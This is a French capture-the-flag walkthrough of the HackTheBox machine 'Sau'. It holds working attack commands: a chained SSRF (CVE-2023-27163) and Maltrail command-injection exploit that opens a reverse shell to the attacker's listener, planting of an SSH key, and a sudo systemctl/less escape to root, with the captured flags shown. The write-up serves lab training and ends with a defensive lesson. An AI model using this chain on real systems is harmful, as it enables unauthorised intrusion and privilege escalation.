HackTheBox Walkthrough - Sau¶
Machine ciblée : Sau.
Répertoire : /home/kali/Sau
Temps passé dessus : 2h30.
Changelog du template¶
Version 1.0 - Sep. 2022 : création du template de base
Version 1.1 - Oct. 2022 : Rajout des scan nmap et des commandes de base
Version 1.2 - Nov. 2022 : Rajout des redirection pour éviter les retours d’erreur et du domaine pour être compliant avec TryHackMe
Version 1.3 - Nov. 2022 : Ajout du scan UDP + de l’export vers searchsploit
Version 1.4 - Dec. 2022 : Changement de l’export vers searchsploit pour gagner du temps + rajout des scripts vuln sur le full pour confirmer.
Pour la version 1.5 : Gérer le montage de VPN. [if Tun0 existe and IP ~=~ 10.0.0.X] Rien, sinon lancer le vpn.
Phase 1 : Reconnaissance¶
┌──(kali㉿kali)-[~]
└─$
name="Sau"
repository="/home/kali/$name"
ip="10.10.11.224"
domain='htb'
cd $repository 2&>/dev/null || mkdir $repository && cd $repository
grep "$ip $name ${name}.${domain}" /etc/hosts >/dev/null || echo "$ip $name ${name}.${domain}" | sudo tee -a /etc/hosts
nmap -Pn -A -T5 --top-port 1000 -oN $repository/txt -oX $repository/sploitable $ip
searchsploit --nmap $repository/sploitable
nmap -Pn -A -T5 -p - --script vuln -oN $repository/full -oX $repository/fullsploitable $ip
sudo nmap -Pn -A -T5 -sU -p - -oN $repository/udp -oX $repository/udploitable $ip
searchsploit --nmap $repository/udploitable
Not shown: 981 closed tcp ports (conn-refused)
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.2p1 Ubuntu 4ubuntu0.7 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 3072 aa8867d7133d083a8ace9dc4ddf3e1ed (RSA)
| 256 ec2eb105872a0c7db149876495dc8a21 (ECDSA)
|_ 256 b30c47fba2f212ccce0b58820e504336 (ED25519)
55555/tcp open unknown
| fingerprint-strings:
| FourOhFourRequest:
| HTTP/1.0 400 Bad Request
| Content-Type: text/plain; charset=utf-8
| X-Content-Type-Options: nosniff
| Date: Thu, 20 Jul 2023 14:31:19 GMT
| Content-Length: 75
| invalid basket name; the name does not match pattern: ^[wd-_\.]{1,250}$
| GenericLines, Help, Kerberos, LDAPSearchReq, LPDString, RTSPRequest, SSLSessionReq, TLSSessionReq, TerminalServerCookie:
| HTTP/1.1 400 Bad Request
| Content-Type: text/plain; charset=utf-8
| Connection: close
| Request
| GetRequest:
| HTTP/1.0 302 Found
| Content-Type: text/html; charset=utf-8
| Location: /web
| Date: Thu, 20 Jul 2023 14:30:53 GMT
| Content-Length: 27
| href="/web">Found</a>.
| HTTPOptions:
| HTTP/1.0 200 OK
| Allow: GET, OPTIONS
| Date: Thu, 20 Jul 2023 14:30:53 GMT
|_ Content-Length: 0
1 service unrecognized despite returning data. If you know the service/version, please submit the following fingerprint at https://nmap.org/cgi-bin/submit.cgi?new-service :
SF-Port55555-TCP:V=7.93%I=7%D=7/20%Time=64B9451C%P=x86_64-pc-linux-gnu%r(G
SF:etRequest,A2,"HTTP/1\.0\x20302\x20Found\r\nContent-Type:\x20text/html;\
SF:x20charset=utf-8\r\nLocation:\x20/web\r\nDate:\x20Thu,\x2020\x20Jul\x20
SF:2023\x2014:30:53\x20GMT\r\nContent-Length:\x2027\r\n\r\n<a\x20href=\"/w
SF:eb\">Found</a>\.\n\n")%r(GenericLines,67,"HTTP/1\.1\x20400\x20Bad\x20Re
SF:quest\r\nContent-Type:\x20text/plain;\x20charset=utf-8\r\nConnection:\x
SF:20close\r\n\r\n400\x20Bad\x20Request")%r(HTTPOptions,60,"HTTP/1\.0\x202
SF:00\x20OK\r\nAllow:\x20GET,\x20OPTIONS\r\nDate:\x20Thu,\x2020\x20Jul\x20
SF:2023\x2014:30:53\x20GMT\r\nContent-Length:\x200\r\n\r\n")%r(RTSPRequest
SF:,67,"HTTP/1\.1\x20400\x20Bad\x20Request\r\nContent-Type:\x20text/plain;
SF:\x20charset=utf-8\r\nConnection:\x20close\r\n\r\n400\x20Bad\x20Request"
SF:)%r(Help,67,"HTTP/1\.1\x20400\x20Bad\x20Request\r\nContent-Type:\x20tex
SF:t/plain;\x20charset=utf-8\r\nConnection:\x20close\r\n\r\n400\x20Bad\x20
SF:Request")%r(SSLSessionReq,67,"HTTP/1\.1\x20400\x20Bad\x20Request\r\nCon
SF:tent-Type:\x20text/plain;\x20charset=utf-8\r\nConnection:\x20close\r\n\
SF:r\n400\x20Bad\x20Request")%r(TerminalServerCookie,67,"HTTP/1\.1\x20400\
SF:x20Bad\x20Request\r\nContent-Type:\x20text/plain;\x20charset=utf-8\r\nC
SF:onnection:\x20close\r\n\r\n400\x20Bad\x20Request")%r(TLSSessionReq,67,"
SF:HTTP/1\.1\x20400\x20Bad\x20Request\r\nContent-Type:\x20text/plain;\x20c
SF:harset=utf-8\r\nConnection:\x20close\r\n\r\n400\x20Bad\x20Request")%r(K
SF:erberos,67,"HTTP/1\.1\x20400\x20Bad\x20Request\r\nContent-Type:\x20text
SF:/plain;\x20charset=utf-8\r\nConnection:\x20close\r\n\r\n400\x20Bad\x20R
SF:equest")%r(FourOhFourRequest,EA,"HTTP/1\.0\x20400\x20Bad\x20Request\r\n
SF:Content-Type:\x20text/plain;\x20charset=utf-8\r\nX-Content-Type-Options
SF::\x20nosniff\r\nDate:\x20Thu,\x2020\x20Jul\x202023\x2014:31:19\x20GMT\r
SF:\nContent-Length:\x2075\r\n\r\ninvalid\x20basket\x20name;\x20the\x20nam
SF:e\x20does\x20not\x20match\x20pattern:\x20\^\[\\w\\d\\-_\\\.\]{1,250}\$\
SF:n")%r(LPDString,67,"HTTP/1\.1\x20400\x20Bad\x20Request\r\nContent-Type:
SF:\x20text/plain;\x20charset=utf-8\r\nConnection:\x20close\r\n\r\n400\x20
SF:Bad\x20Request")%r(LDAPSearchReq,67,"HTTP/1\.1\x20400\x20Bad\x20Request
SF:\r\nContent-Type:\x20text/plain;\x20charset=utf-8\r\nConnection:\x20clo
SF:se\r\n\r\n400\x20Bad\x20Request");
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Ok, une linux = un serveur web. Je m’attendais pas à ce qu’il soit sur du 55555 par contre. On va voir ce qu’on a.
Phase 2 : Analyse¶
On lance un classique gobuster :
┌──(kali㉿LuKaLi)-[~/Sau]
└─$ gobuster dir -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -u http://$name.$domain:55555
===============================================================
Gobuster v3.5
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url: http://Sau.htb:55555
[+] Method: GET
[+] Threads: 10
[+] Wordlist: /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt
[+] Negative Status codes: 404
[+] User Agent: gobuster/3.5
[+] Timeout: 10s
===============================================================
2023/07/20 16:35:05 Starting gobuster in directory enumeration mode
===============================================================
/web (Status: 200) [Size: 8700]
/' (Status: 400) [Size: 75]
/Web (Status: 301) [Size: 39] [--> /web]
/%20 (Status: 400) [Size: 75]
Note : La première fois que je l’ai faite, la machine était déjà sortie et certains avaient commencer à l’attaquer. Il restait donc déjà des grosses traces de ce qu’il faut faire. Ces traces m’ont un peu perdues.
On va bien ici qu’il y a une page web. Quand on regarde la page, il s’agit d’un serveur request-baskets en version 1.2.1. Petite recherche google, ce dernier est faillible à du SSRF. De plus, un poc existe pour automatiser la tâche. On va tester tout ça :
┌──(kali㉿LuKaLi)-[~/Sau]
└─$ wget https://raw.githubusercontent.com/entr0pie/CVE-2023-27163/main/CVE-2023-27163.py
┌──(kali㉿LuKaLi)-[~/Sau]
└─$ while 1=1 ; do rlwrap -cAr nc -lvnp 3333 ; done
┌──(kali㉿LuKaLi)-[~/Sau]
└─$ python exploit_request-baskets.py -v http://$name.$domain:55555 -t http://10.10.14.133:3333
Proof-of-Concept of SSRF on Request-Baskets (CVE-2023-27163) || More info at https://github.com/entr0pie/CVE-2023-27163
> 2023-07-21 09:45:01,030 - DEBUG -> OPTIONS:
- BASE_URL: http://Sau.htb:55555
- TARGET: http://10.10.14.133:3333
- VERBOSE: True
> 2023-07-21 09:45:01,030 - DEBUG -> Creating basket at http://Sau.htb:55555/api/baskets/3c34298abe
> 2023-07-21 09:45:01,030 - INFO -> Requesting the server...
> 2023-07-21 09:45:01,032 - DEBUG -> Starting new HTTP connection (1): sau.htb:55555
> 2023-07-21 09:45:01,178 - DEBUG -> http://sau.htb:55555 "POST /api/baskets/3c34298abe HTTP/1.1" 201 56
> 2023-07-21 09:45:01,179 - DEBUG -> Token received: nRr58jbhQT8qWwcDw6HJheRkigxntEBsQ_Bo1lwbOcm3
> 2023-07-21 09:45:01,179 - INFO -> Triggering the SSRF...
> 2023-07-21 09:45:01,180 - DEBUG -> Starting new HTTP connection (1): sau.htb:55555
> 2023-07-21 09:45:01,476 - DEBUG -> http://sau.htb:55555 "GET /3c34298abe HTTP/1.1" 200 0
> 2023-07-21 09:45:01,476 - INFO -> All done! Deleting the basket...
> 2023-07-21 09:45:01,477 - DEBUG -> Starting new HTTP connection (1): sau.htb:55555
> 2023-07-21 09:45:01,636 - DEBUG -> http://sau.htb:55555 "DELETE /api/baskets/3c34298abe HTTP/1.1" 204 0
connect to [10.10.14.133] from (UNKNOWN) [10.10.11.224] 53226
GET / HTTP/1.1
Host: 10.10.14.133:3333
User-Agent: python-requests/2.28.1
Accept: */*
Accept-Encoding: gzip, deflate, br
Authorization: nRr58jbhQT8qWwcDw6HJheRkigxntEBsQ_Bo1lwbOcm3
X-Do-Not-Forward: 1
On voit donc que notre serveur web a été contacté par le serveur en face. Ca signifie que la faille fonctionne bien. Maintenant, il faut tatonner pour voir si l’on trouve pas autre chose. On va tester déjà sur un serveur web local :
┌──(kali㉿LuKaLi)-[~/Sau]
└─$ python exploit_request-baskets.py -v http://$name.$domain:55555 -t http://localhost
> 2023-07-21 09:51:39,007 - DEBUG -> Creating basket at http://Sau.htb:55555/api/baskets/9b6ef38279
> 2023-07-21 09:51:39,007 - INFO -> Requesting the server...
> 2023-07-21 09:51:39,008 - DEBUG -> Starting new HTTP connection (1): sau.htb:55555
> 2023-07-21 09:51:39,132 - DEBUG -> http://sau.htb:55555 "POST /api/baskets/9b6ef38279 HTTP/1.1" 201 56
> 2023-07-21 09:51:39,132 - DEBUG -> Token received: xQUtG_gs9tSU3AyQfHsChDsIHx8SOK5L4d4eMUnhcv4V
> 2023-07-21 09:51:39,133 - INFO -> Triggering the SSRF...
> 2023-07-21 09:51:39,133 - DEBUG -> Starting new HTTP connection (1): sau.htb:55555
> 2023-07-21 09:51:39,252 - DEBUG -> http://sau.htb:55555 "GET /9b6ef38279 HTTP/1.1" 200 0
> 2023-07-21 09:51:39,252 - INFO -> All done! Deleting the basket...
> 2023-07-21 09:51:39,253 - DEBUG -> Starting new HTTP connection (1): sau.htb:55555
> 2023-07-21 09:51:39,411 - DEBUG -> http://sau.htb:55555 "DELETE /api/baskets/9b6ef38279 HTTP/1.1" 204 0
Ça à l’air de marcher ! Par contre, quand on essaie de voir la page en manuel, rien ne se passe … J’espèrais voir au moins la page du request-baskets. En fouillant, je vois d’autres paramêtres modifiables comme proxy_response. On va tenter de modifier la payload dans le script et de ne pas supprimer le bucket a la fin :
┌──(kali㉿LuKaLi)-[~/Sau]
└─$ vi exploit_request-baskets.py
payload = {
"forward_url": args.target,
"proxy_response": True,
"insecure_tls": False,
"expand_path": True,
"capacity": 200
}
[...]
# info("All done! Deleting the basket...")
# assert delete(urljoin(urljoin(args.BASE_URL, "/api/baskets/"), basket_name), headers={"Authorization": token}).status_code == 204
Ouaism c’est pas beau, mais ça marche. En relançant le poc, on tombe sur un nouveau site web : un maltrail en version 0.53. Nouvelles recherches google : nouvel exploit. Cette fois-ci, il s’agit d’une command injection et il y q un nouveau (poc)[https://github.com/spookier/Maltrail-v0.53-Exploit/blob/main/exploit.py] ! Ça va peut-être être un peu plus coton d’envoyer un command injection à travers un SSRF, mais à voir.
┌──(kali㉿LuKaLi)-[~/Sau]
└─$ python ./exploit_maltrail.py 10.10.14.133 3333 http://$name.$domain:55555/f84958c99e
Running exploit on http://Sau.htb:55555/f84958c99e
<!DOCTYPE html>
<html lang="en">
[... Le contenu de la page web ...]
Mince, j’ai du rater un truc. En relisant le poc, je vois qu’en faite, la faille n’est présente que sur la page /login. Il va falloir que je refasse mon SSRF … À moins que …
┌──(kali㉿LuKaLi)-[~/Sau]
└─$ python ./exploit_maltrail.py 10.10.14.133 3333 http://$name.$domain:55555/f84958c99e/login
[ Sur le terminal qui a le nc]
listening on [any] 3333 ...
connect to [10.10.14.133] from (UNKNOWN) [10.10.11.224] 33014
$ id
id
uid=1001(puma) gid=1001(puma) groups=1001(puma)
$ cat /home/puma/user.txt
dfad8fbd48814daf51036c505330b40f
Phase 4 : Élévation de privilège¶
Parfait, la première partie est bien entamée, on va se faire une connexion plus stable en ssh.
$ mkdir .ssh
echo 'ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIBkKI6gZFqq6sk9X1Ty1hCvGj54BBSP0bbrrIZAkxg5H' > .ssh/authorized_keys
chmod 700 ./.ssh && chmod 600 ./.ssh/authorized_keys
mkdir .ssh
$ echo 'ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIBkKI6gZFqq6sk9X1Ty1hCvGj54BBSP0bbrrIZAkxg5H' > .ssh/authorized_keys
chmod 700 ./.ssh && chmod 600 ./.ssh/authorized_keys
┌──(kali㉿LuKaLi)-[~/Sau]
└─$ ssh -i ../.ssh/id_ecdsa puma@$ip
Welcome to Ubuntu 20.04.6 LTS (GNU/Linux 5.4.0-153-generic x86_64)
On va pouvoir commencer a cherche pour la privesc.
puma@sau:~$ sudo -l
Matching Defaults entries for puma on sau:
env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin
User puma may run the following commands on sau:
(ALL : ALL) NOPASSWD: /usr/bin/systemctl status trail.service
puma@sau:~$
Direction GTFOBins : En faite la privesc va être plutôt simple. comme le binaire qui permet d’afficher les pages est généralement less, ce dernier permet d’envoyer des commandes, comme vi. Donc on va pouvoir envoyer un shell facilement.
puma@sau:~$ sudo systemctl status trail.service
● trail.service - Maltrail. Server of malicious traffic detection system
Loaded: loaded (/etc/systemd/system/trail.service; enabled; vendor preset: enabled)
Active: active (running) since Fri 2023-07-21 05:14:12 UTC; 3h 12min ago
Docs: https://github.com/stamparm/maltrail#readme
https://github.com/stamparm/maltrail/wiki
Main PID: 891 (python3)
Tasks: 58 (limit: 4662)
!sh
# cat /root/root.txt
b7029c42cd037a55f935f75ab49d0cf3
Récapitulatif¶
Ok donc pour passer sur cette machine, il a trois parties. En premier la SSRF, qui s’exécute plutôt facilement dès qu’on le fait à la main. Ensuite, il faut partir sur une commande injection en lisant bien le poc plutôt qu’en partant dans le vent. Enfin, une fois sur la machine, un simple sudo -l résout le problème !
A retenir :¶
C’est plutôt important de commencer avec une machine vierge. De même, j’ai réussi pas mal de truc grâce à l’interface web que je ne montre pas ici : c’est plus chiant pour les captures d’écrans en markdown.
Ce qui m’a posé le plus de problème était que des utilisateurs avaient déjà bien avancé la machine en proposant l’interface du maltrail sur la page /login. Du coup, j’étais perdu au début. Il est important de reprendre le truc de sa base et de ne pas se précipiter.
Côté défense, on se souviendra de ne jamais laisser de sudo nopasswd …